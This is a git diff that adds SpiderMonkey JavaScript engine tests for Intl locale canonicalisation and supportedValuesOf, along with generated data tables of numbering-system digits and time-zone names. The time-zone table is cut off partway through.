diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-overridden-set.js b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-set.js
new file mode 100644
index 0000000000..396f3a9483
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-set.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for overridden set().
+
+Object.defineProperty(Array.prototype, 0, { set() { throw 42; } });
+
+// must not throw 42, might if push is used
+var arr = Intl.getCanonicalLocales(["en-US"]);
+
+assertEqArray(arr, ["en-US"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-overridden-species.js b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-species.js
new file mode 100644
index 0000000000..858735b581
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-species.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Tests the getCanonicalLocales function for overriden Array[Symbol.species].
+
+Object.defineProperty(Array, Symbol.species, {
+ value: function() {
+ return new Proxy(["?"], {
+ get(t, pk, r) {
+ return Reflect.get(t, pk, r);
+ },
+ defineProperty(t, pk) {
+ return true;
+ }
+ });
+ }
+});
+
+var arr = Intl.getCanonicalLocales("de-x-private");
+
+assertEqArray(arr, ["de-x-private"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-weird-cases.js b/js/src/tests/non262/Intl/getCanonicalLocales-weird-cases.js
new file mode 100644
index 0000000000..d67fda355f
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-weird-cases.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Locale processing is supposed to internally remove any Unicode extension
+// sequences in the locale. Test that various weird testcases invoking
+// algorithmic edge cases don't assert or throw exceptions.
+
+var weirdCases =
+ [
+ "en-x-u-foo",
+ "en-a-bar-x-u-foo",
+ "en-x-u-foo-a-bar",
+ "en-a-bar-u-baz-x-u-foo",
+ ];
+
+for (let weird of weirdCases)
+ assertEqArray(Intl.getCanonicalLocales(weird), [weird]);
+
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("x-u-foo"), RangeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-with-duplicates.js b/js/src/tests/non262/Intl/getCanonicalLocales-with-duplicates.js
new file mode 100644
index 0000000000..c029569482
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-with-duplicates.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for duplicate locales scenario.
+
+assertEqArray(Intl.getCanonicalLocales(['ab-cd', 'ff', 'de-rt', 'ab-Cd']),
+ ['ab-CD', 'ff', 'de-RT']);
+
+var locales = Intl.getCanonicalLocales(["en-US", "en-US"]);
+assertEqArray(locales, ['en-US']);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales.js b/js/src/tests/non262/Intl/getCanonicalLocales.js
new file mode 100644
index 0000000000..66e9b87c5c
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function with a diverse set of arguments.
+
+let gCL = Intl.getCanonicalLocales;
+
+assertEq(Intl.getCanonicalLocales.length, 1);
+
+assertEqArray(gCL(), []);
+
+assertEqArray(gCL('ab-cd'), ['ab-CD']);
+
+assertEqArray(gCL(['ab-cd']), ['ab-CD']);
+
+assertEqArray(gCL(['ab-cd', 'FF']), ['ab-CD', 'ff']);
+
+assertEqArray(gCL({'a': 0}), []);
+
+assertEqArray(gCL({}), []);
+
+assertEqArray(gCL(['ar-ma-u-ca-islamicc']), ['ar-MA-u-ca-islamic-civil']);
+
+assertEqArray(gCL(['th-th-u-nu-thai']), ['th-TH-u-nu-thai']);
+
+assertEqArray(gCL(NaN), []);
+
+assertEqArray(gCL(1), []);
+
+Number.prototype[0] = "en-US";
+Number.prototype.length = 1;
+assertEqArray(gCL(NaN), ["en-US"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/legacy-and-sign-locales-with-unicode-extensions.js b/js/src/tests/non262/Intl/legacy-and-sign-locales-with-unicode-extensions.js
new file mode 100644
index 0000000000..2421d9bb09
--- /dev/null
+++ b/js/src/tests/non262/Intl/legacy-and-sign-locales-with-unicode-extensions.js
@@ -0,0 +1,79 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const languageTags = {
+ // Case 1: legacy, regular tags.
+ "art-lojban": "jbo",
+ "cel-gaulish": "xtg",
+ "zh-guoyu": "zh",
+ "zh-hakka": "hak",
+ "zh-xiang": "hsn",
+
+ // Case 2: redundant language tags.
+ "sgn-BR": "bzs",
+ "sgn-CO": "csn",
+ "sgn-DE": "gsg",
+ "sgn-DK": "dsl",
+ "sgn-ES": "ssp",
+ "sgn-FR": "fsl",
+ "sgn-GB": "bfi",
+ "sgn-GR": "gss",
+ "sgn-IE": "isg",
+ "sgn-IT": "ise",
+ "sgn-JP": "jsl",
+ "sgn-MX": "mfs",
+ "sgn-NI": "ncs",
+ "sgn-NL": "dse",
+ "sgn-NO": "nsi",
+ "sgn-PT": "psr",
+ "sgn-SE": "swl",
+ "sgn-US": "ase",
+ "sgn-ZA": "sfs",
+
+ // Case 3: the special case.
+ "ja-Latn-hepburn-heploc": "ja-Latn-alalc97",
+};
+const extensions = ["-u-attr", "-u-nu-latn"];
+const intlConstructors = [Intl.Collator, Intl.DateTimeFormat, Intl.NumberFormat];
+const options = [{localeMatcher: "best fit"}, {localeMatcher: "lookup"}];
+
+for (let [tag, canonical] of Object.entries(languageTags)) {
+ // Ensure Intl.getCanonicalLocales canonicalizes the language tag correctly.
+ assertEq(Intl.getCanonicalLocales(tag)[0], canonical);
+
+ // Unicode extensions don't change the canonicalization result.
+ for (let ext of extensions) {
+ assertEq(Intl.getCanonicalLocales(tag + ext)[0], canonical + ext);
+ assertEq(Intl.getCanonicalLocales(canonical + ext)[0], canonical + ext);
+ }
+
+ for (let intlCtor of intlConstructors) {
+ for (let opt of options) {
+ // The non-canonical tag is supported iff the canonical tag is supported.
+ let supported = intlCtor.supportedLocalesOf(tag, opt);
+ let supportedCanonical = intlCtor.supportedLocalesOf(canonical, opt);
+ assertEq(supported.length, supportedCanonical.length);
+
+ let isSupported = supported.length > 0;
+ if (isSupported) {
+ assertEq(supported[0], canonical);
+ assertEq(supportedCanonical[0], canonical);
+ }
+
+ // Unicode extensions don't change the result of supportedLocalesOf().
+ for (let ext of extensions) {
+ let supportedExt = intlCtor.supportedLocalesOf(tag + ext, opt);
+ let supportedCanonicalExt = intlCtor.supportedLocalesOf(canonical + ext, opt);
+ assertEq(supportedExt.length, supportedCanonical.length);
+ assertEq(supportedCanonicalExt.length, supportedCanonical.length);
+
+ if (isSupported) {
+ assertEq(supportedExt[0], canonical + ext);
+ assertEq(supportedCanonicalExt[0], canonical + ext);
+ }
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/resolved-locale-sorted-unicode-extension-keys.js b/js/src/tests/non262/Intl/resolved-locale-sorted-unicode-extension-keys.js
new file mode 100644
index 0000000000..400f7f0f63
--- /dev/null
+++ b/js/src/tests/non262/Intl/resolved-locale-sorted-unicode-extension-keys.js
@@ -0,0 +1,109 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+const IntlServices = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+// Examples for all possible Unicode extension keys (with the exception of deprecated "vt").
+const unicodeExtensions = [
+ // calendar
+ "ca-gregory",
+ "fw-mon",
+ "hc-h23",
+
+ // collation
+ "co-phonebk",
+ "ka-noignore",
+ "kb-false",
+ "kc-false",
+ "kf-false",
+ "kh-false",
+ "kk-false",
+ "kn-false",
+ "kr-space",
+ "ks-level1",
+ "kv-space",
+
+ // currency
+ "cf-standard",
+ "cu-eur",
+
+ // measure
+ "ms-metric",
+
+ // number
+ "nu-latn",
+
+ // segmentation
+ "lb-strict",
+ "lw-normal",
+ "ss-none",
+
+ // timezone
+ "tz-atvie",
+
+ // variant
+ "em-default",
+ "rg-atzzzz",
+ "sd-atat1",
+ "va-posix",
+];
+
+function reverse(a, b) {
+ if (a < b) {
+ return 1;
+ }
+ if (a > b) {
+ return -1;
+ }
+ return 0;
+}
+
+function findUnicodeExtensionKeys(locale) {
+ // Find the Unicode extension key subtag.
+ var extension = locale.match(/.*-u-(.*)/);
+ if (extension === null) {
+ return [];
+ }
+
+ // Replace all types in the Unicode extension keywords.
+ return extension[1].replace(/-\w{3,}/g, "").split("-");
+}
+
+// Test all Intl service constructors and ensure the Unicode extension keys in
+// the resolved locale are sorted alphabetically.
+
+for (let IntlService of IntlServices) {
+ let options = undefined;
+ if (IntlService === Intl.DisplayNames) {
+ // Intl.DisplayNames requires the "type" option to be set.
+ options = {type: "language"};
+ }
+
+ // sort() modifies the input array, so create a copy.
+ let ext = unicodeExtensions.slice(0);
+
+ let locale, keys;
+
+ // Input keys unsorted.
+ locale = new IntlService(`de-u-${ext.join("-")}`, options).resolvedOptions().locale;
+ keys = findUnicodeExtensionKeys(locale);
+ assertEqArray(keys, keys.slice(0).sort());
+
+ // Input keys sorted alphabetically.
+ locale = new IntlService(`de-u-${ext.sort().join("-")}`, options).resolvedOptions().locale;
+ keys = findUnicodeExtensionKeys(locale);
+ assertEqArray(keys, keys.slice(0).sort());
+
+ // Input keys sorted alphabetically in reverse order.
+ locale = new IntlService(`de-u-${ext.sort(reverse).join("-")}`, options).resolvedOptions().locale;
+ keys = findUnicodeExtensionKeys(locale);
+ assertEqArray(keys, keys.slice(0).sort());
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/shell.js b/js/src/tests/non262/Intl/shell.js
new file mode 100644
index 0000000000..1659e39e12
--- /dev/null
+++ b/js/src/tests/non262/Intl/shell.js
@@ -0,0 +1,340 @@
+// Generated by make_intl_data.py. DO NOT EDIT.
+
+// source: CLDR file common/bcp47/number.xml; version CLDR 43.
+// https://github.com/unicode-org/cldr/blob/master/common/bcp47/number.xml
+// https://github.com/unicode-org/cldr/blob/master/common/supplemental/numberingSystems.xml
+const numberingSystems = {
+ "adlm": {
+ "algorithmic": false,
+ "digits": "𞥐𞥑𞥒𞥓𞥔𞥕𞥖𞥗𞥘𞥙"
+ },
+ "ahom": {
+ "algorithmic": false,
+ "digits": "𑜰𑜱𑜲𑜳𑜴𑜵𑜶𑜷𑜸𑜹"
+ },
+ "arab": {
+ "algorithmic": false,
+ "digits": "٠١٢٣٤٥٦٧٨٩"
+ },
+ "arabext": {
+ "algorithmic": false,
+ "digits": "۰۱۲۳۴۵۶۷۸۹"
+ },
+ "armn": {
+ "algorithmic": true
+ },
+ "armnlow": {
+ "algorithmic": true
+ },
+ "bali": {
+ "algorithmic": false,
+ "digits": "᭐᭑᭒᭓᭔᭕᭖᭗᭘᭙"
+ },
+ "beng": {
+ "algorithmic": false,
+ "digits": "০১২৩৪৫৬৭৮৯"
+ },
+ "bhks": {
+ "algorithmic": false,
+ "digits": "𑱐𑱑𑱒𑱓𑱔𑱕𑱖𑱗𑱘𑱙"
+ },
+ "brah": {
+ "algorithmic": false,
+ "digits": "𑁦𑁧𑁨𑁩𑁪𑁫𑁬𑁭𑁮𑁯"
+ },
+ "cakm": {
+ "algorithmic": false,
+ "digits": "𑄶𑄷𑄸𑄹𑄺𑄻𑄼𑄽𑄾𑄿"
+ },
+ "cham": {
+ "algorithmic": false,
+ "digits": "꩐꩑꩒꩓꩔꩕꩖꩗꩘꩙"
+ },
+ "cyrl": {
+ "algorithmic": true
+ },
+ "deva": {
+ "algorithmic": false,
+ "digits": "०१२३४५६७८९"
+ },
+ "diak": {
+ "algorithmic": false,
+ "digits": "𑥐𑥑𑥒𑥓𑥔𑥕𑥖𑥗𑥘𑥙"
+ },
+ "ethi": {
+ "algorithmic": true
+ },
+ "fullwide": {
+ "algorithmic": false,
+ "digits": "0123456789"
+ },
+ "geor": {
+ "algorithmic": true
+ },
+ "gong": {
+ "algorithmic": false,
+ "digits": "𑶠𑶡𑶢𑶣𑶤𑶥𑶦𑶧𑶨𑶩"
+ },
+ "gonm": {
+ "algorithmic": false,
+ "digits": "𑵐𑵑𑵒𑵓𑵔𑵕𑵖𑵗𑵘𑵙"
+ },
+ "grek": {
+ "algorithmic": true
+ },
+ "greklow": {
+ "algorithmic": true
+ },
+ "gujr": {
+ "algorithmic": false,
+ "digits": "૦૧૨૩૪૫૬૭૮૯"
+ },
+ "guru": {
+ "algorithmic": false,
+ "digits": "੦੧੨੩੪੫੬੭੮੯"
+ },
+ "hanidays": {
+ "algorithmic": true
+ },
+ "hanidec": {
+ "algorithmic": false,
+ "digits": "〇一二三四五六七八九"
+ },
+ "hans": {
+ "algorithmic": true
+ },
+ "hansfin": {
+ "algorithmic": true
+ },
+ "hant": {
+ "algorithmic": true
+ },
+ "hantfin": {
+ "algorithmic": true
+ },
+ "hebr": {
+ "algorithmic": true
+ },
+ "hmng": {
+ "algorithmic": false,
+ "digits": "𖭐𖭑𖭒𖭓𖭔𖭕𖭖𖭗𖭘𖭙"
+ },
+ "hmnp": {
+ "algorithmic": false,
+ "digits": "𞅀𞅁𞅂𞅃𞅄𞅅𞅆𞅇𞅈𞅉"
+ },
+ "java": {
+ "algorithmic": false,
+ "digits": "꧐꧑꧒꧓꧔꧕꧖꧗꧘꧙"
+ },
+ "jpan": {
+ "algorithmic": true
+ },
+ "jpanfin": {
+ "algorithmic": true
+ },
+ "jpanyear": {
+ "algorithmic": true
+ },
+ "kali": {
+ "algorithmic": false,
+ "digits": "꤀꤁꤂꤃꤄꤅꤆꤇꤈꤉"
+ },
+ "kawi": {
+ "algorithmic": false,
+ "digits": "𑽐𑽑𑽒𑽓𑽔𑽕𑽖𑽗𑽘𑽙"
+ },
+ "khmr": {
+ "algorithmic": false,
+ "digits": "០១២៣៤៥៦៧៨៩"
+ },
+ "knda": {
+ "algorithmic": false,
+ "digits": "೦೧೨೩೪೫೬೭೮೯"
+ },
+ "lana": {
+ "algorithmic": false,
+ "digits": "᪀᪁᪂᪃᪄᪅᪆᪇᪈᪉"
+ },
+ "lanatham": {
+ "algorithmic": false,
+ "digits": "᪐᪑᪒᪓᪔᪕᪖᪗᪘᪙"
+ },
+ "laoo": {
+ "algorithmic": false,
+ "digits": "໐໑໒໓໔໕໖໗໘໙"
+ },
+ "latn": {
+ "algorithmic": false,
+ "digits": "0123456789"
+ },
+ "lepc": {
+ "algorithmic": false,
+ "digits": "᱀᱁᱂᱃᱄᱅᱆᱇᱈᱉"
+ },
+ "limb": {
+ "algorithmic": false,
+ "digits": "᥆᥇᥈᥉᥊᥋᥌᥍᥎᥏"
+ },
+ "mathbold": {
+ "algorithmic": false,
+ "digits": "𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗"
+ },
+ "mathdbl": {
+ "algorithmic": false,
+ "digits": "𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡"
+ },
+ "mathmono": {
+ "algorithmic": false,
+ "digits": "𝟶𝟷𝟸𝟹𝟺𝟻𝟼𝟽𝟾𝟿"
+ },
+ "mathsanb": {
+ "algorithmic": false,
+ "digits": "𝟬𝟭𝟮𝟯𝟰𝟱𝟲𝟳𝟴𝟵"
+ },
+ "mathsans": {
+ "algorithmic": false,
+ "digits": "𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫"
+ },
+ "mlym": {
+ "algorithmic": false,
+ "digits": "൦൧൨൩൪൫൬൭൮൯"
+ },
+ "modi": {
+ "algorithmic": false,
+ "digits": "𑙐𑙑𑙒𑙓𑙔𑙕𑙖𑙗𑙘𑙙"
+ },
+ "mong": {
+ "algorithmic": false,
+ "digits": "᠐᠑᠒᠓᠔᠕᠖᠗᠘᠙"
+ },
+ "mroo": {
+ "algorithmic": false,
+ "digits": "𖩠𖩡𖩢𖩣𖩤𖩥𖩦𖩧𖩨𖩩"
+ },
+ "mtei": {
+ "algorithmic": false,
+ "digits": "꯰꯱꯲꯳꯴꯵꯶꯷꯸꯹"
+ },
+ "mymr": {
+ "algorithmic": false,
+ "digits": "၀၁၂၃၄၅၆၇၈၉"
+ },
+ "mymrshan": {
+ "algorithmic": false,
+ "digits": "႐႑႒႓႔႕႖႗႘႙"
+ },
+ "mymrtlng": {
+ "algorithmic": false,
+ "digits": "꧰꧱꧲꧳꧴꧵꧶꧷꧸꧹"
+ },
+ "nagm": {
+ "algorithmic": false,
+ "digits": "𞓰𞓱𞓲𞓳𞓴𞓵𞓶𞓷𞓸𞓹"
+ },
+ "newa": {
+ "algorithmic": false,
+ "digits": "𑑐𑑑𑑒𑑓𑑔𑑕𑑖𑑗𑑘𑑙"
+ },
+ "nkoo": {
+ "algorithmic": false,
+ "digits": "߀߁߂߃߄߅߆߇߈߉"
+ },
+ "olck": {
+ "algorithmic": false,
+ "digits": "᱐᱑᱒᱓᱔᱕᱖᱗᱘᱙"
+ },
+ "orya": {
+ "algorithmic": false,
+ "digits": "୦୧୨୩୪୫୬୭୮୯"
+ },
+ "osma": {
+ "algorithmic": false,
+ "digits": "𐒠𐒡𐒢𐒣𐒤𐒥𐒦𐒧𐒨𐒩"
+ },
+ "rohg": {
+ "algorithmic": false,
+ "digits": "𐴰𐴱𐴲𐴳𐴴𐴵𐴶𐴷𐴸𐴹"
+ },
+ "roman": {
+ "algorithmic": true
+ },
+ "romanlow": {
+ "algorithmic": true
+ },
+ "saur": {
+ "algorithmic": false,
+ "digits": "꣐꣑꣒꣓꣔꣕꣖꣗꣘꣙"
+ },
+ "segment": {
+ "algorithmic": false,
+ "digits": "🯰🯱🯲🯳🯴🯵🯶🯷🯸🯹"
+ },
+ "shrd": {
+ "algorithmic": false,
+ "digits": "𑇐𑇑𑇒𑇓𑇔𑇕𑇖𑇗𑇘𑇙"
+ },
+ "sind": {
+ "algorithmic": false,
+ "digits": "𑋰𑋱𑋲𑋳𑋴𑋵𑋶𑋷𑋸𑋹"
+ },
+ "sinh": {
+ "algorithmic": false,
+ "digits": "෦෧෨෩෪෫෬෭෮෯"
+ },
+ "sora": {
+ "algorithmic": false,
+ "digits": "𑃰𑃱𑃲𑃳𑃴𑃵𑃶𑃷𑃸𑃹"
+ },
+ "sund": {
+ "algorithmic": false,
+ "digits": "᮰᮱᮲᮳᮴᮵᮶᮷᮸᮹"
+ },
+ "takr": {
+ "algorithmic": false,
+ "digits": "𑛀𑛁𑛂𑛃𑛄𑛅𑛆𑛇𑛈𑛉"
+ },
+ "talu": {
+ "algorithmic": false,
+ "digits": "᧐᧑᧒᧓᧔᧕᧖᧗᧘᧙"
+ },
+ "taml": {
+ "algorithmic": true
+ },
+ "tamldec": {
+ "algorithmic": false,
+ "digits": "௦௧௨௩௪௫௬௭௮௯"
+ },
+ "telu": {
+ "algorithmic": false,
+ "digits": "౦౧౨౩౪౫౬౭౮౯"
+ },
+ "thai": {
+ "algorithmic": false,
+ "digits": "๐๑๒๓๔๕๖๗๘๙"
+ },
+ "tibt": {
+ "algorithmic": false,
+ "digits": "༠༡༢༣༤༥༦༧༨༩"
+ },
+ "tirh": {
+ "algorithmic": false,
+ "digits": "𑓐𑓑𑓒𑓓𑓔𑓕𑓖𑓗𑓘𑓙"
+ },
+ "tnsa": {
+ "algorithmic": false,
+ "digits": "𖫀𖫁𖫂𖫃𖫄𖫅𖫆𖫇𖫈𖫉"
+ },
+ "vaii": {
+ "algorithmic": false,
+ "digits": "꘠꘡꘢꘣꘤꘥꘦꘧꘨꘩"
+ },
+ "wara": {
+ "algorithmic": false,
+ "digits": "𑣠𑣡𑣢𑣣𑣤𑣥𑣦𑣧𑣨𑣩"
+ },
+ "wcho": {
+ "algorithmic": false,
+ "digits": "𞋰𞋱𞋲𞋳𞋴𞋵𞋶𞋷𞋸𞋹"
+ }
+};
diff --git a/js/src/tests/non262/Intl/supportedValuesOf-calendar.js b/js/src/tests/non262/Intl/supportedValuesOf-calendar.js
new file mode 100644
index 0000000000..24a4ac3a57
--- /dev/null
+++ b/js/src/tests/non262/Intl/supportedValuesOf-calendar.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const calendars = Intl.supportedValuesOf("calendar");
+
+assertEq(new Set(calendars).size, calendars.length, "No duplicates are present");
+assertEqArray(calendars, [...calendars].sort(), "The list is sorted");
+
+const typeRE = /^[a-z0-9]{3,8}(-[a-z0-9]{3,8})*$/;
+for (let calendar of calendars) {
+ assertEq(typeRE.test(calendar), true, `${calendar} matches the 'type' production`);
+}
+
+for (let calendar of calendars) {
+ assertEq(new Intl.Locale("und", {calendar}).calendar, calendar, `${calendar} is canonicalised`);
+}
+
+for (let calendar of calendars) {
+ let obj = new Intl.DateTimeFormat("en", {calendar});
+ assertEq(obj.resolvedOptions().calendar, calendar, `${calendar} is supported by DateTimeFormat`);
+}
+
+assertEq(calendars.includes("gregory"), true, `Includes the Gregorian calendar`);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/supportedValuesOf-collation.js b/js/src/tests/non262/Intl/supportedValuesOf-collation.js
new file mode 100644
index 0000000000..626bb28c20
--- /dev/null
+++ b/js/src/tests/non262/Intl/supportedValuesOf-collation.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const collations = Intl.supportedValuesOf("collation");
+
+assertEq(new Set(collations).size, collations.length, "No duplicates are present");
+assertEqArray(collations, [...collations].sort(), "The list is sorted");
+
+const typeRE = /^[a-z0-9]{3,8}(-[a-z0-9]{3,8})*$/;
+for (let collation of collations) {
+ assertEq(typeRE.test(collation), true, `${collation} matches the 'type' production`);
+}
+
+for (let collation of collations) {
+ assertEq(new Intl.Locale("und", {collation}).collation, collation, `${collation} is canonicalised`);
+}
+
+// Not all locales support all possible collations, so test the minimal set to
+// cover all supported collations.
+const locales = [
+ "en", // "emoji", "eor"
+ "ar", // compat
+ "de", // phonebk
+ "es", // trad
+ "ko", // searchjl
+ "ln", // phonetic
+ "si", // dict
+ "sv", // reformed
+ "zh", // big5han, gb2312, pinyin, stroke, unihan, zhuyin
+];
+
+for (let collation of collations) {
+ let supported = false;
+ for (let locale of locales) {
+ let obj = new Intl.Collator(locale, {collation});
+ if (obj.resolvedOptions().collation === collation) {
+ supported = true;
+ }
+ }
+
+ assertEq(supported, true, `${collation} is supported by Collator`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/supportedValuesOf-currency.js b/js/src/tests/non262/Intl/supportedValuesOf-currency.js
new file mode 100644
index 0000000000..e2bf659e49
--- /dev/null
+++ b/js/src/tests/non262/Intl/supportedValuesOf-currency.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const currencies = Intl.supportedValuesOf("currency");
+
+assertEq(new Set(currencies).size, currencies.length, "No duplicates are present");
+assertEqArray(currencies, [...currencies].sort(), "The list is sorted");
+
+const codeRE = /^[A-Z]{3}$/;
+for (let currency of currencies) {
+ assertEq(codeRE.test(currency), true, `${currency} is a 3-letter ISO 4217 currency code`);
+}
+
+for (let currency of currencies) {
+ let obj = new Intl.NumberFormat("en", {style: "currency", currency});
+ assertEq(obj.resolvedOptions().currency, currency, `${currency} is supported by NumberFormat`);
+}
+
+for (let currency of currencies) {
+ let obj = new Intl.DisplayNames("en", {type: "currency", fallback: "none"});
+ assertEq(typeof obj.of(currency), "string", `${currency} is supported by DisplayNames`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/supportedValuesOf-numberingSystem.js b/js/src/tests/non262/Intl/supportedValuesOf-numberingSystem.js
new file mode 100644
index 0000000000..dd04094976
--- /dev/null
+++ b/js/src/tests/non262/Intl/supportedValuesOf-numberingSystem.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const numSystems = Intl.supportedValuesOf("numberingSystem");
+
+assertEq(new Set(numSystems).size, numSystems.length, "No duplicates are present");
+assertEqArray(numSystems, [...numSystems].sort(), "The list is sorted");
+
+const typeRE = /^[a-z0-9]{3,8}(-[a-z0-9]{3,8})*$/;
+for (let numberingSystem of numSystems) {
+ assertEq(typeRE.test(numberingSystem), true, `${numberingSystem} matches the 'type' production`);
+}
+
+for (let numberingSystem of numSystems) {
+ assertEq(new Intl.Locale("und", {numberingSystem}).numberingSystem, numberingSystem,
+ `${numberingSystem} is canonicalised`);
+}
+
+for (let numberingSystem of numSystems) {
+ let obj = new Intl.DateTimeFormat("en", {numberingSystem});
+ assertEq(obj.resolvedOptions().numberingSystem, numberingSystem,
+ `${numberingSystem} is supported by DateTimeFormat`);
+}
+
+for (let numberingSystem of numSystems) {
+ let obj = new Intl.NumberFormat("en", {numberingSystem});
+ assertEq(obj.resolvedOptions().numberingSystem, numberingSystem,
+ `${numberingSystem} is supported by NumberFormat`);
+}
+
+for (let numberingSystem of numSystems) {
+ let obj = new Intl.RelativeTimeFormat("en", {numberingSystem});
+ assertEq(obj.resolvedOptions().numberingSystem, numberingSystem,
+ `${numberingSystem} is supported by RelativeTimeFormat`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/supportedValuesOf-timeZones-canonical.js b/js/src/tests/non262/Intl/supportedValuesOf-timeZones-canonical.js
new file mode 100644
index 0000000000..333f220038
--- /dev/null
+++ b/js/src/tests/non262/Intl/supportedValuesOf-timeZones-canonical.js
@@ -0,0 +1,487 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2023c
+
+// This file was generated with historical, pre-1970 backzone information
+// respected.
+
+const zones = [
+ "Africa/Abidjan",
+ "Africa/Accra",
+ "Africa/Addis_Ababa",
+ "Africa/Algiers",
+ "Africa/Asmara",
+ "Africa/Bamako",
+ "Africa/Bangui",
+ "Africa/Banjul",
+ "Africa/Bissau",
+ "Africa/Blantyre",
+ "Africa/Brazzaville",
+ "Africa/Bujumbura",
+ "Africa/Cairo",
+ "Africa/Casablanca",
+ "Africa/Ceuta",
+ "Africa/Conakry",
+ "Africa/Dakar",
+ "Africa/Dar_es_Salaam",
+ "Africa/Djibouti",
+ "Africa/Douala",
+ "Africa/El_Aaiun",
+ "Africa/Freetown",
+ "Africa/Gaborone",
+ "Africa/Harare",
+ "Africa/Johannesburg",
+ "Africa/Juba",
+ "Africa/Kampala",
+ "Africa/Khartoum",
+ "Africa/Kigali",
+ "Africa/Kinshasa",
+ "Africa/Lagos",
+ "Africa/Libreville",
+ "Africa/Lome",
+ "Africa/Luanda",
+ "Africa/Lubumbashi",
+ "Africa/Lusaka",
+ "Africa/Malabo",
+ "Africa/Maputo",
+ "Africa/Maseru",
+ "Africa/Mbabane",
+ "Africa/Mogadishu",
+ "Africa/Monrovia",
+ "Africa/Nairobi",
+ "Africa/Ndjamena",
+ "Africa/Niamey",
+ "Africa/Nouakchott",
+ "Africa/Ouagadougou",
+ "Africa/Porto-Novo",
+ "Africa/Sao_Tome",
+ "Africa/Timbuktu",
+ "Africa/Tripoli",
+ "Africa/Tunis",
+ "Africa/Windhoek",
+ "America/Adak",
+ "America/Anchorage",
+ "America/Anguilla",
+ "America/Antigua",
+ "America/Araguaina",
+ "America/Argentina/Buenos_Aires",
+ "America/Argentina/Catamarca",
+ "America/Argentina/ComodRivadavia",
+ "America/Argentina/Cordoba",
+ "America/Argentina/Jujuy",
+ "America/Argentina/La_Rioja",
+ "America/Argentina/Mendoza",
+ "America/Argentina/Rio_Gallegos",
+ "America/Argentina/Salta",
+ "America/Argentina/San_Juan",
+ "America/Argentina/San_Luis",
+ "America/Argentina/Tucuman",
+ "America/Argentina/Ushuaia",
+ "America/Aruba",
+ "America/Asuncion",
+ "America/Atikokan",
+ "America/Bahia",
+ "America/Bahia_Banderas",
+ "America/Barbados",
+ "America/Belem",
+ "America/Belize",
+ "America/Blanc-Sablon",
+ "America/Boa_Vista",
+ "America/Bogota",
+ "America/Boise",
+ "America/Cambridge_Bay",
+ "America/Campo_Grande",
+ "America/Cancun",
+ "America/Caracas",
+ "America/Cayenne",
+ "America/Cayman",
